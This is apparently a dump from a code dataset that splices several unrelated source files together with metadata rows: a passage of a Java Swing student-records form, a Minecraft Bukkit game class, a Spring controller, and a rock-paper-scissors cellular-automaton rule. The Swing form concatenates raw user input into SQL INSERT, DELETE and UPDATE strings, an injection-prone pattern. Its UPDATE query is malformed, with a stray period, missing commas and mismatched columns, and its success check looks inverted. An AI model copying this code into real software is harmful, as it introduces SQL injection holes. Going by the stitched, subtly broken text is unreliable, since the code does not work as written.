buttonGroup1.add(rdLaki);
rdLaki.setText("Laki-Laki");
jPanel2.add(rdLaki);
rdLaki.setBounds(20, 260, 90, 23);
buttonGroup1.add(rdPerempuan);
rdPerempuan.setText("Perempuan");
jPanel2.add(rdPerempuan);
rdPerempuan.setBounds(120, 260, 100, 23);
jLabel1.setFont(new java.awt.Font("Trebuchet MS", 0, 18)); // NOI18N
jLabel1.setText("ISIAN DATA SISWA");
jPanel2.add(jLabel1);
jLabel1.setBounds(80, 0, 180, 30);
jPanel2.add(jSeparator1);
jSeparator1.setBounds(0, 30, 330, 10);
jLabel12.setFont(new java.awt.Font("Tahoma", 0, 12)); // NOI18N
jLabel12.setText("Nama");
jPanel2.add(jLabel12);
jLabel12.setBounds(20, 90, 50, 20);
jLabel13.setFont(new java.awt.Font("Tahoma", 0, 12)); // NOI18N
jLabel13.setText("Tempat Lahir");
jPanel2.add(jLabel13);
jLabel13.setBounds(20, 140, 110, 20);
txtNama.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
txtNamaActionPerformed(evt);
}
});
jPanel2.add(txtNama);
txtNama.setBounds(20, 110, 200, 30);
jPanel2.add(txtTempatLahir);
txtTempatLahir.setBounds(20, 160, 200, 30);
jPanel2.add(Tanggal);
Tanggal.setBounds(20, 210, 200, 30);
jPanel2.add(txtNIS);
txtNIS.setBounds(20, 60, 200, 30);
getContentPane().add(jPanel2);
jPanel2.setBounds(10, 100, 330, 520);
jPanel4.setBackground(new java.awt.Color(102, 255, 102));
jPanel4.setLayout(null);
tblData.setBackground(new java.awt.Color(153, 255, 153));
tblData.setModel(new javax.swing.table.DefaultTableModel(
new Object [][] {
{null, null, null, null, null, null, null, null},
{null, null, null, null, null, null, null, null},
{null, null, null, null, null, null, null, null},
{null, null, null, null, null, null, null, null}
},
new String [] {
"NIS", "NamaSiswa", "TempatLahir", "TanggalLahir", "JenisKelamin", "Kelas", "Email", "Alamat"
}
) {
Class[] types = new Class [] {
java.lang.Integer.class, java.lang.String.class, java.lang.String.class, java.lang.String.class, java.lang.String.class, java.lang.String.class, java.lang.String.class, java.lang.String.class
};
public Class getColumnClass(int columnIndex) {
return types [columnIndex];
}
});
tblData.addMouseListener(new java.awt.event.MouseAdapter() {
public void mouseClicked(java.awt.event.MouseEvent evt) {
tblDataMouseClicked(evt);
}
});
jScrollPane1.setViewportView(tblData);
jPanel4.add(jScrollPane1);
jScrollPane1.setBounds(20, 20, 750, 420);
getContentPane().add(jPanel4);
jPanel4.setBounds(350, 160, 790, 460);
jPanel3.setBackground(new java.awt.Color(102, 255, 102));
jPanel3.setLayout(null);
btnAdd.setBackground(new java.awt.Color(153, 153, 153));
btnAdd.setText("Save");
btnAdd.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
btnAddActionPerformed(evt);
}
});
jPanel3.add(btnAdd);
btnAdd.setBounds(130, 10, 80, 30);
btnDelete.setBackground(new java.awt.Color(153, 153, 153));
btnDelete.setText("Delete");
btnDelete.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
btnDeleteActionPerformed(evt);
}
});
jPanel3.add(btnDelete);
btnDelete.setBounds(220, 10, 80, 30);
Reset.setBackground(new java.awt.Color(153, 153, 153));
Reset.setText("Clear");
Reset.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
ResetActionPerformed(evt);
}
});
jPanel3.add(Reset);
Reset.setBounds(310, 10, 80, 30);
btnRefresh.setBackground(new java.awt.Color(153, 153, 153));
btnRefresh.setText("Refresh");
btnRefresh.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
btnRefreshActionPerformed(evt);
}
});
jPanel3.add(btnRefresh);
btnRefresh.setBounds(400, 10, 80, 30);
btnPrint.setBackground(new java.awt.Color(153, 153, 153));
btnPrint.setText("Print");
btnPrint.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
btnPrintActionPerformed(evt);
}
});
jPanel3.add(btnPrint);
btnPrint.setBounds(580, 10, 80, 30);
btnEdit.setBackground(new java.awt.Color(153, 153, 153));
btnEdit.setText("Edit");
btnEdit.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
btnEditActionPerformed(evt);
}
});
jPanel3.add(btnEdit);
btnEdit.setBounds(490, 10, 80, 30);
getContentPane().add(jPanel3);
jPanel3.setBounds(350, 100, 790, 50);
setBounds(0, 0, 1163, 667);
}// </editor-fold>//GEN-END:initComponents
private void tblDataMouseClicked(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_tblDataMouseClicked
int baris =tblData.getSelectedRow();
if (baris != -1){
txtNIS.setText(tblData.getValueAt(baris,0).toString());
txtNIS.setEditable(false);
txtNama.setText(tblData.getValueAt(baris,1).toString());
txtTempatLahir.setText(tblData.getValueAt(baris,2).toString());
SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd");
String tanggal = tblData.getValueAt(baris,3).toString();
Date tgl;
try {
tgl = dateFormat.parse(tanggal);
Tanggal.setDate(tgl);
}catch (ParseException ex){
Logger.getLogger(frmMain.class.getName()).log(Level.SEVERE, null,ex);
}
String JK = tblData.getValueAt(baris,4).toString();
if (JK.equals("Laki-laki")){
rdLaki.setSelected(true);
}else {
rdPerempuan.setSelected(true);
}
txtKelas.setText(tblData.getValueAt(baris,5).toString());
txtEmail.setText(tblData.getValueAt(baris,6).toString());
txtAlamat.setText(tblData.getValueAt(baris,7).toString());
}
}//GEN-LAST:event_tblDataMouseClicked
private void btnAddActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_btnAddActionPerformed
SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd");
String tanggal = dateFormat.format(Tanggal.getDate());
String JK = "";
if (rdLaki.isSelected()){
JK = "L";
}else{
JK = "P";
}
if (txtNIS.getText().equals("") ||
txtNama.getText().equals("") ||
txtTempatLahir.getText().equals("") ||
tanggal.equals("") ||
JK.equals("") ||
txtKelas.getText().equals("")||
txtEmail.getText().equals("") ||
txtAlamat.getText().equals("")) {
JOptionPane.showMessageDialog(this, "Harap Lengkapi Data", "Error", JOptionPane.WARNING_MESSAGE);
}else{
String SQL ="INSERT INTO t_siswa (NIS,NamaSiswa,TempatLahir,TanggalLahir,JenisKelamin,Kelas,Email,Alamat)"
+ "VALUES('"+txtNIS.getText()+"','"+txtNama.getText()+"','"+txtTempatLahir.getText()+"','"+tanggal+"','"+JK+"',"
+ "'"+txtKelas.getText()+"','"+txtEmail.getText()+"','"+txtAlamat.getText()+"')";
int status = KoneksiDB.execute(SQL);
if(status == 1){
JOptionPane.showMessageDialog(this, "Data berhasil ditambahkan", "Sukses", JOptionPane.INFORMATION_MESSAGE);
selectData();
}else{
JOptionPane.showMessageDialog(this, "Data gagal ditambahkan", "Gagal", JOptionPane.WARNING_MESSAGE);
}
}
// TODO add your handling code here:
}//GEN-LAST:event_btnAddActionPerformed
private void btnDeleteActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_btnDeleteActionPerformed
int baris = tblData.getSelectedRow();
if(baris != -1){
String NIS = tblData.getValueAt(baris, 0).toString();
String SQL = "DELETE FROM t_siswa WHERE NIS='"+NIS+"'";
int status = KoneksiDB.execute(SQL);
if(status==1){
JOptionPane.showMessageDialog(this, "Data berhasil dihapus", "Sukses", JOptionPane.INFORMATION_MESSAGE);
}else{
JOptionPane.showMessageDialog(this, "Data gagal dihapus", "Gagal", JOptionPane.WARNING_MESSAGE);
}
}else{
JOptionPane.showMessageDialog(this, "Pilih Baris Data Terlebih dahulu", "Error", JOptionPane.WARNING_MESSAGE);
}
// TODO add your handling code here:
}//GEN-LAST:event_btnDeleteActionPerformed
private void ResetActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_ResetActionPerformed
txtNama.setText("");
txtNIS.setText("");
txtKelas.setText("");
buttonGroup1.clearSelection();
txtEmail.setText("");
txtAlamat.setText("");
txtTempatLahir.setText("");
// TODO add your handling code here:
}//GEN-LAST:event_ResetActionPerformed
private void btnRefreshActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_btnRefreshActionPerformed
selectData();
// TODO add your handling code here:
}//GEN-LAST:event_btnRefreshActionPerformed
private void btnPrintActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_btnPrintActionPerformed
MessageFormat header = new MessageFormat("Biodata Siswa SMK Telkom Malang");
MessageFormat footer = new MessageFormat("Page {0,number,integer} ");
try{
tblData.print(JTable.PrintMode.FIT_WIDTH, header, footer, true, null, true, null);
}catch(java.awt.print.PrinterException e){
System.err.format("Cannot print %s%n", e.getMessage());
}
// TODO add your handling code here:
}//GEN-LAST:event_btnPrintActionPerformed
private void btnEditActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_btnEditActionPerformed
SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd");
String tanggal = dateFormat.format(Tanggal.getDate());
if ("".equals(txtNIS.getText())|| "".equals(txtAlamat.getText())||
"".equals(txtKelas.getText()) || "".equals(txtNama.getText()) || "".equals(txtEmail.getText())||
"".equals(txtTempatLahir.getText()) || "".equals(Tanggal.getDate())) {
JOptionPane.showMessageDialog(this, "Harap Lengkapi Data", "Error", JOptionPane.WARNING_MESSAGE);
}else{
String JK = "";
if (rdLaki.isSelected()){
JK = "L";
}else{
JK = "P";
}
String SQL = "UPDATE t_siswa.SET "
+ "NIS='"+txtNIS.getText()+"',"
+ "NamaSiswa='"+txtNama.getText()+"',"
+ "tglLahir='"+tanggal+"'"
+ "JenisKelamin='"+JK+"'"
+ "Kelas='"+txtKelas.getText()+"',"
+ "Email='" +txtEmail.getText()+"'"
+ "Alamat='"+txtAlamat.getText()+"'"
+ "tmpLahir='"+txtTempatLahir.getText()+"'"
+ "WHERE NIS='"+txtNIS.getText()+"'";
int status = KoneksiDB.execute(SQL);
if(status == 0){
JOptionPane.showMessageDialog(this, "Data berhasil diupdate", "Sukses", JOptionPane.INFORMATION_MESSAGE);
selectData();
}else{
JOptionPane.showMessageDialog(this, "Data gagal diupdate", "Gagal", JOptionPane.WARNING_MESSAGE);
}}
// TODO add your handling code here:
}//GEN-LAST:event_btnEditActionPerformed
private void txtNamaActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_txtNamaActionPerformed
// TODO add your handling code here:
}//GEN-LAST:event_txtNamaActionPerformed
/**
* @param args the command line arguments
*/
public static void main(String args[]) {
/* Set the Nimbus look and feel */
//<editor-fold defaultstate="collapsed" desc=" Look and feel setting code (optional) ">
/* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel.
* For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html
*/
try {
for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) {
if ("Nimbus".equals(info.getName())) {
javax.swing.UIManager.setLookAndFeel(info.getClassName());
break;
}
}
} catch (ClassNotFoundException ex) {
java.util.logging.Logger.getLogger(frmMain.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (InstantiationException ex) {
java.util.logging.Logger.getLogger(frmMain.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (IllegalAccessException ex) {
java.util.logging.Logger.getLogger(frmMain.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (javax.swing.UnsupportedLookAndFeelException ex) {
java.util.logging.Logger.getLogger(frmMain.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
}
//</editor-fold>
/* Create and display the form */
java.awt.EventQueue.invokeLater(new Runnable() {
public void run() {
new frmMain().setVisible(true);
}
});
}
// Variables declaration - do not modify//GEN-BEGIN:variables
private javax.swing.JButton Reset;
private com.toedter.calendar.JDateChooser Tanggal;
private javax.swing.JButton btnAdd;
private javax.swing.JButton btnDelete;
private javax.swing.JButton btnEdit;
private javax.swing.JButton btnPrint;
private javax.swing.JButton btnRefresh;
private javax.swing.ButtonGroup buttonGroup1;
private javax.swing.JLabel jLabel1;
private javax.swing.JLabel jLabel12;
private javax.swing.JLabel jLabel13;
private javax.swing.JLabel jLabel2;
private javax.swing.JLabel jLabel3;
private javax.swing.JLabel jLabel4;
private javax.swing.JLabel jLabel5;
private javax.swing.JLabel jLabel6;
private javax.swing.JLabel jLabel7;
private javax.swing.JLabel jLabel8;
private javax.swing.JLabel jLabel9;
private javax.swing.JPanel jPanel2;
private javax.swing.JPanel jPanel3;
private javax.swing.JPanel jPanel4;
private javax.swing.JPanel jPanel5;
private javax.swing.JScrollPane jScrollPane1;
private javax.swing.JSeparator jSeparator1;
private javax.swing.JLabel labeljam;
private javax.swing.JLabel labeltanggal;
private javax.swing.JRadioButton rdLaki;
private javax.swing.JRadioButton rdPerempuan;
private javax.swing.JTable tblData;
private java.awt.TextArea txtAlamat;
private javax.swing.JTextField txtEmail;
private javax.swing.JTextField txtKelas;
private javax.swing.JTextField txtNIS;
private javax.swing.JTextField txtNama;
private javax.swing.JTextField txtTempatLahir;
// End of variables declaration//GEN-END:variables
private void selectData() {
String kolom[] = {"NIS","NamaSiswa","TempatLahir","TanggalLahir","JenisKelamin","Kelas","Email","Alamat"};
DefaultTableModel dtm = new DefaultTableModel(null, kolom);
String SQL = "SELECT * FROM t_siswa";
ResultSet rs = KoneksiDB.executeQuery(SQL);
try{
while(rs.next()){
String NIS = rs.getString(1);
String NamaSiswa = rs.getString(2);
String TempatLahir = rs.getString(3);
String TanggalLahir = rs.getString(4);
String JenisKelamin = "";
if("L".equals(rs.getString(5))){
JenisKelamin = "Laki-Laki";
}else {
JenisKelamin = "Peremuan";
}
String Kelas = rs.getString(6);
String Email = rs.getString(7);
String Alamat = rs.getString(8);
String data[] = {NIS,NamaSiswa,TempatLahir,TanggalLahir,JenisKelamin,Kelas,Email,Alamat};
dtm.addRow(data);
}
}catch (SQLException ex){
Logger.getLogger(frmMain.class.getName()).log(Level.SEVERE, null, ex);
}
tblData.setModel(dtm);
}
public void setTanggal(){
java.util.Date skrg = new java.util.Date();
java.text.SimpleDateFormat kal = new java.text.SimpleDateFormat("dd/MM/yyyy");
labeltanggal.setText(kal.format(skrg));
}
public void setJam(){
ActionListener taskPerformer = new ActionListener(){
public void actionPerformed(ActionEvent evt){
Date dt = new Date();
int nilai_jam = dt.getHours();
int nilai_menit = dt.getMinutes();
int nilai_detik = dt.getSeconds();
if (nilai_jam <=9){
nol_jam = "0";
}
if (nilai_menit <= 9){
nol_menit = "0";
}
if(nilai_detik <= 9){
nol_detik = "0";
}
String jam = nol_jam + Integer.toString(nilai_jam);
String menit = nol_menit + Integer.toString(nilai_menit);
String detik = nol_detik + Integer.toString(nilai_detik);
labeljam.setText("Jam "+jam + ":" + menit + ":" + detik);
}
};
new Timer(100, taskPerformer).start();
}
}
| 24,639 | 0.598685 | 0.570565 | 605 | 39.732231 | 28.410818 | 207 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.089256 | false | false | 1 |
a6ad353ddd1c65060264e0d6f77991d6281a8640 | 1,425,929,179,882 | 66da10ff435c5844d435f9c9b187c7a8b2030f35 | /DiamondRun/src/com/codcraft/diamondrun/DRGame.java | fcb5755a3faea95d2cd3a8b004f03fa79a14d3ac | []
| no_license | peytondodd/CodCraftPlugins | https://github.com/peytondodd/CodCraftPlugins | 938b578ce9b2e543373050a5c41e957a8990432a | 96d6189f6ac5271f230e475f1bc95000cdd51a38 | refs/heads/master | 2020-04-10T19:06:18.081000 | 2014-01-02T03:12:12 | 2014-01-02T03:12:12 | null | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package com.codcraft.diamondrun;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;
import org.bukkit.Bukkit;
import org.bukkit.Location;
import org.bukkit.WorldCreator;
import com.CodCraft.api.model.Game;
import com.CodCraft.api.model.GameState;
import com.CodCraft.api.model.Team;
import com.codcraft.diamondrun.states.InGame;
public class DRGame extends Game<DiamondRun> {
public Map<String, Location> spawns = new HashMap<String, Location>();
public String map = null;
public DRGame(DiamondRun instance) {
super(instance);
Team team = new Team("Team");
team.setMaxPlayers(35);
teams.add(team);
knownStates.put(new InGame(this).getId(), new InGame(this));
setState(new InGame(this));
}
@Override
public void initialize() {
Bukkit.createWorld(new WorldCreator(getName()));
for(Entry<String, Location> en : plugin.spawns.entrySet()) {
Location newloc = new Location(Bukkit.getWorld(getName()), en.getValue().getX(), en.getValue().getY(),
en.getValue().getZ(), en.getValue().getYaw(), en.getValue().getPitch());
spawns.put(en.getKey(), newloc);
}
}
@Override
public void preStateSwitch(GameState state) {
// TODO Auto-generated method stub
}
@Override
public void postStateSwitch(GameState state) {
// TODO Auto-generated method stub
}
}
| UTF-8 | Java | 1,329 | java | DRGame.java | Java | []
| null | []
| package com.codcraft.diamondrun;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;
import org.bukkit.Bukkit;
import org.bukkit.Location;
import org.bukkit.WorldCreator;
import com.CodCraft.api.model.Game;
import com.CodCraft.api.model.GameState;
import com.CodCraft.api.model.Team;
import com.codcraft.diamondrun.states.InGame;
public class DRGame extends Game<DiamondRun> {
public Map<String, Location> spawns = new HashMap<String, Location>();
public String map = null;
public DRGame(DiamondRun instance) {
super(instance);
Team team = new Team("Team");
team.setMaxPlayers(35);
teams.add(team);
knownStates.put(new InGame(this).getId(), new InGame(this));
setState(new InGame(this));
}
@Override
public void initialize() {
Bukkit.createWorld(new WorldCreator(getName()));
for(Entry<String, Location> en : plugin.spawns.entrySet()) {
Location newloc = new Location(Bukkit.getWorld(getName()), en.getValue().getX(), en.getValue().getY(),
en.getValue().getZ(), en.getValue().getYaw(), en.getValue().getPitch());
spawns.put(en.getKey(), newloc);
}
}
@Override
public void preStateSwitch(GameState state) {
// TODO Auto-generated method stub
}
@Override
public void postStateSwitch(GameState state) {
// TODO Auto-generated method stub
}
}
| 1,329 | 0.723853 | 0.722348 | 53 | 24.075472 | 23.52265 | 106 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.584906 | false | false | 1 |
2fcb071406bd03ee9dbc72a6b72c747f3ad44fea | 18,021,682,803,166 | 352c67ecf23fb537de898663755cd261c41f1458 | /src/main/java/org/smc/controller/PersonController.java | a58ea4299c10165b855461ffbf9c8bf5c201facd | []
| no_license | zzinpan/sansu | https://github.com/zzinpan/sansu | fff01b69db519d208d0ab46792c72bc49743d2b3 | 0aa41b4187074fcf070027464512b0e123959d38 | refs/heads/master | 2020-06-12T13:26:07.512000 | 2015-03-09T09:32:04 | 2015-03-09T09:32:04 | 31,656,771 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package org.smc.controller;
import javax.inject.Inject;
import org.smc.service.BusinessService;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
@RequestMapping("/person")
public class PersonController {
@Inject
private BusinessService bservice;
@RequestMapping(value="/firstName", method=RequestMethod.POST, produces="text/plain; charset=UTF-8")
public @ResponseBody String firstNameAjax(){
return bservice.firstName();
}
}
| UTF-8 | Java | 646 | java | PersonController.java | Java | []
| null | []
| package org.smc.controller;
import javax.inject.Inject;
import org.smc.service.BusinessService;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
@RequestMapping("/person")
public class PersonController {
@Inject
private BusinessService bservice;
@RequestMapping(value="/firstName", method=RequestMethod.POST, produces="text/plain; charset=UTF-8")
public @ResponseBody String firstNameAjax(){
return bservice.firstName();
}
}
| 646 | 0.801858 | 0.80031 | 25 | 24.84 | 26.413149 | 102 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1 | false | false | 1 |
eec89703a3f36e4d432f47d704fb52f148405b2b | 2,748,779,106,636 | 6e376b9b528c558789d2b04823c434b8b74c51cc | /src/model/rule/rps/RPSRule.java | 692b3adb51c16e9ec26761045c3f6d1d86311f57 | [
"MIT"
]
| permissive | aqiu95/cellsociety | https://github.com/aqiu95/cellsociety | 38b4f2e310ecee923be6d2f53c793d1ac415fe13 | 4f288616cdc7f55bd287bc4b2ef014c2114f9c80 | refs/heads/master | 2020-04-08T03:31:36.338000 | 2018-11-24T22:43:24 | 2018-11-24T22:43:24 | 158,979,471 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package model.rule.rps;
import model.Cell;
import model.rule.Rule;
import java.util.List;
import java.util.concurrent.ThreadLocalRandom;
/**
* This simulates bacterial growth with RPS autoinducers. Bacteria secrete autoinducers and can only reproduce when
* autoinducer levels in adjacent cells do not inhibit it.
* @author Christopher Lin cl349
*/
public class RPSRule extends Rule {
public static final int EMPTY = 0;
public static final int ROCK = 1;
public static final int PAPER = 2;
public static final int SCISSORS = 3;
public static final int INHIBITION_THRESHOLD = 20;
public static final double DIFFUSION_RATE = 0.3;
public static final double EMISSION_AMT = 5;
public static final double DECAY_RATE = 0.3;
public RPSRule(){
myNumStates = 4;
}
@Override
public void applyRule(Cell cell, List<Cell> neighbors, int passNum) {
//Update RPSCell bacteria given cell states. Should only run once on initialization
if(cell.getCurrentState() != 0 && ((RPSCell) cell).getBacteria() == null){
((RPSCell) cell).setBacteria(new Bacteria(cell.getCurrentState()));
}
killBacteria(cell);
//decay AI particles
((RPSCell) cell).setRock_level(((RPSCell) cell).getRock_level()*(1-DECAY_RATE));
((RPSCell) cell).setPaper_level(((RPSCell) cell).getPaper_level()*(1-DECAY_RATE));
((RPSCell) cell).setScissors_level(((RPSCell) cell).getScissors_level()*(1-DECAY_RATE));
if(neighbors.size() > 0){
diffuseAIParticles((RPSCell) cell, neighbors);
reproduceBacteria((RPSCell) cell, neighbors);
emitAIParticles((RPSCell) cell, neighbors);
if(((RPSCell) cell).getBacteria() == null){
cell.setNextState(EMPTY);
}
else{
((RPSCell) cell).getBacteria().incAge();
cell.setNextState(((RPSCell) cell).getBacteria().getType());
}
}
}
private void emitAIParticles(RPSCell cell, List<Cell> neighbors) {
if(cell.getBacteria() == null){
return;
}
for(Cell c : neighbors){
if(cell.getBacteria().getType() == ROCK){
((RPSCell) c).setRock_level(((RPSCell) c).getRock_level()+EMISSION_AMT);
}
else if(cell.getBacteria().getType() == PAPER){
((RPSCell) c).setPaper_level(((RPSCell) c).getPaper_level()+EMISSION_AMT);
}
else if(cell.getBacteria().getType() == SCISSORS){
((RPSCell) c).setScissors_level(((RPSCell) c).getScissors_level()+EMISSION_AMT);
}
}
}
private void killBacteria(Cell cell) {
if(((RPSCell) cell).getBacteria() != null){
if(((RPSCell) cell).getBacteria().getAge() > Bacteria.MAX_AGE){
((RPSCell) cell).setBacteria(null);
cell.setNextState(EMPTY);
}
}
}
private void reproduceBacteria(RPSCell cell, List<Cell> neighbors) {
if(cell.getBacteria() != null){
boolean inhibited = false;
for(Cell c : neighbors){
if(cell.getBacteria().getType()==ROCK && ((RPSCell) c).getPaper_level() > INHIBITION_THRESHOLD){
inhibited = true;
}
else if(cell.getBacteria().getType()==PAPER && ((RPSCell) c).getScissors_level() > INHIBITION_THRESHOLD){
inhibited = true;
}
else if(cell.getBacteria().getType()==SCISSORS && ((RPSCell) c).getRock_level() > INHIBITION_THRESHOLD){
inhibited = true;
}
}
int reproduceLoc = ThreadLocalRandom.current().nextInt(0, neighbors.size());
Cell reproduceCell = neighbors.get(reproduceLoc);
if(((RPSCell) reproduceCell).getBacteria() == null && !inhibited){
((RPSCell) reproduceCell).setBacteria(new Bacteria(cell.getBacteria().getType()));
}
}
}
private void diffuseAIParticles(RPSCell cell, List<Cell> neighbors) {
if(neighbors.size() <= 0){
return;
}
for(Cell c : neighbors){
System.out.println(neighbors.size());
((RPSCell) c).setRock_level(((RPSCell) c).getRock_level()+ cell.getRock_level()*(DIFFUSION_RATE/neighbors.size()));
((RPSCell) c).setPaper_level(((RPSCell) c).getPaper_level()+ cell.getPaper_level()*(DIFFUSION_RATE/neighbors.size()));
((RPSCell) c).setScissors_level(((RPSCell) c).getScissors_level()+ cell.getScissors_level()*(DIFFUSION_RATE/neighbors.size()));
}
cell.setRock_level(cell.getRock_level()*(1-DIFFUSION_RATE));
cell.setPaper_level(cell.getPaper_level()*(1-DIFFUSION_RATE));
cell.setScissors_level(cell.getScissors_level()*(1-DIFFUSION_RATE));
}
@Override
public Class getCellType() {
return RPSCell.class;
}
@Override
public int getPasses() {
return 1;
}
}
| UTF-8 | Java | 5,085 | java | RPSRule.java | Java | [
{
"context": "ls in adjacent cells do not inhibit it.\n * @author Christopher Lin cl349\n */\n\npublic class RPSRule extends Rule {\n\n ",
"end": 345,
"score": 0.999826967716217,
"start": 330,
"tag": "NAME",
"value": "Christopher Lin"
},
{
"context": "ells do not inhibit it.\n * @author Christopher Lin cl349\n */\n\npublic class RPSRule extends Rule {\n\n publ",
"end": 351,
"score": 0.9329309463500977,
"start": 346,
"tag": "USERNAME",
"value": "cl349"
}
]
| null | []
| package model.rule.rps;
import model.Cell;
import model.rule.Rule;
import java.util.List;
import java.util.concurrent.ThreadLocalRandom;
/**
* This simulates bacterial growth with RPS autoinducers. Bacteria secrete autoinducers and can only reproduce when
* autoinducer levels in adjacent cells do not inhibit it.
* @author <NAME> cl349
*/
public class RPSRule extends Rule {
public static final int EMPTY = 0;
public static final int ROCK = 1;
public static final int PAPER = 2;
public static final int SCISSORS = 3;
public static final int INHIBITION_THRESHOLD = 20;
public static final double DIFFUSION_RATE = 0.3;
public static final double EMISSION_AMT = 5;
public static final double DECAY_RATE = 0.3;
public RPSRule(){
myNumStates = 4;
}
@Override
public void applyRule(Cell cell, List<Cell> neighbors, int passNum) {
//Update RPSCell bacteria given cell states. Should only run once on initialization
if(cell.getCurrentState() != 0 && ((RPSCell) cell).getBacteria() == null){
((RPSCell) cell).setBacteria(new Bacteria(cell.getCurrentState()));
}
killBacteria(cell);
//decay AI particles
((RPSCell) cell).setRock_level(((RPSCell) cell).getRock_level()*(1-DECAY_RATE));
((RPSCell) cell).setPaper_level(((RPSCell) cell).getPaper_level()*(1-DECAY_RATE));
((RPSCell) cell).setScissors_level(((RPSCell) cell).getScissors_level()*(1-DECAY_RATE));
if(neighbors.size() > 0){
diffuseAIParticles((RPSCell) cell, neighbors);
reproduceBacteria((RPSCell) cell, neighbors);
emitAIParticles((RPSCell) cell, neighbors);
if(((RPSCell) cell).getBacteria() == null){
cell.setNextState(EMPTY);
}
else{
((RPSCell) cell).getBacteria().incAge();
cell.setNextState(((RPSCell) cell).getBacteria().getType());
}
}
}
private void emitAIParticles(RPSCell cell, List<Cell> neighbors) {
if(cell.getBacteria() == null){
return;
}
for(Cell c : neighbors){
if(cell.getBacteria().getType() == ROCK){
((RPSCell) c).setRock_level(((RPSCell) c).getRock_level()+EMISSION_AMT);
}
else if(cell.getBacteria().getType() == PAPER){
((RPSCell) c).setPaper_level(((RPSCell) c).getPaper_level()+EMISSION_AMT);
}
else if(cell.getBacteria().getType() == SCISSORS){
((RPSCell) c).setScissors_level(((RPSCell) c).getScissors_level()+EMISSION_AMT);
}
}
}
private void killBacteria(Cell cell) {
if(((RPSCell) cell).getBacteria() != null){
if(((RPSCell) cell).getBacteria().getAge() > Bacteria.MAX_AGE){
((RPSCell) cell).setBacteria(null);
cell.setNextState(EMPTY);
}
}
}
private void reproduceBacteria(RPSCell cell, List<Cell> neighbors) {
if(cell.getBacteria() != null){
boolean inhibited = false;
for(Cell c : neighbors){
if(cell.getBacteria().getType()==ROCK && ((RPSCell) c).getPaper_level() > INHIBITION_THRESHOLD){
inhibited = true;
}
else if(cell.getBacteria().getType()==PAPER && ((RPSCell) c).getScissors_level() > INHIBITION_THRESHOLD){
inhibited = true;
}
else if(cell.getBacteria().getType()==SCISSORS && ((RPSCell) c).getRock_level() > INHIBITION_THRESHOLD){
inhibited = true;
}
}
int reproduceLoc = ThreadLocalRandom.current().nextInt(0, neighbors.size());
Cell reproduceCell = neighbors.get(reproduceLoc);
if(((RPSCell) reproduceCell).getBacteria() == null && !inhibited){
((RPSCell) reproduceCell).setBacteria(new Bacteria(cell.getBacteria().getType()));
}
}
}
private void diffuseAIParticles(RPSCell cell, List<Cell> neighbors) {
if(neighbors.size() <= 0){
return;
}
for(Cell c : neighbors){
System.out.println(neighbors.size());
((RPSCell) c).setRock_level(((RPSCell) c).getRock_level()+ cell.getRock_level()*(DIFFUSION_RATE/neighbors.size()));
((RPSCell) c).setPaper_level(((RPSCell) c).getPaper_level()+ cell.getPaper_level()*(DIFFUSION_RATE/neighbors.size()));
((RPSCell) c).setScissors_level(((RPSCell) c).getScissors_level()+ cell.getScissors_level()*(DIFFUSION_RATE/neighbors.size()));
}
cell.setRock_level(cell.getRock_level()*(1-DIFFUSION_RATE));
cell.setPaper_level(cell.getPaper_level()*(1-DIFFUSION_RATE));
cell.setScissors_level(cell.getScissors_level()*(1-DIFFUSION_RATE));
}
@Override
public Class getCellType() {
return RPSCell.class;
}
@Override
public int getPasses() {
return 1;
}
}
| 5,076 | 0.587611 | 0.582498 | 132 | 37.522728 | 34.371956 | 139 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.431818 | false | false | 1 |
356f3f8b6700b50dd00c87939ff3dc7e3f57dbed | 19,902,878,478,748 | d6a9cf3d5af70703288304c5a51dcde97caddef5 | /SolvingExpression.java | c0b18a9f3f5cee3f8e6e1319dfea29f1bfcb51d8 | []
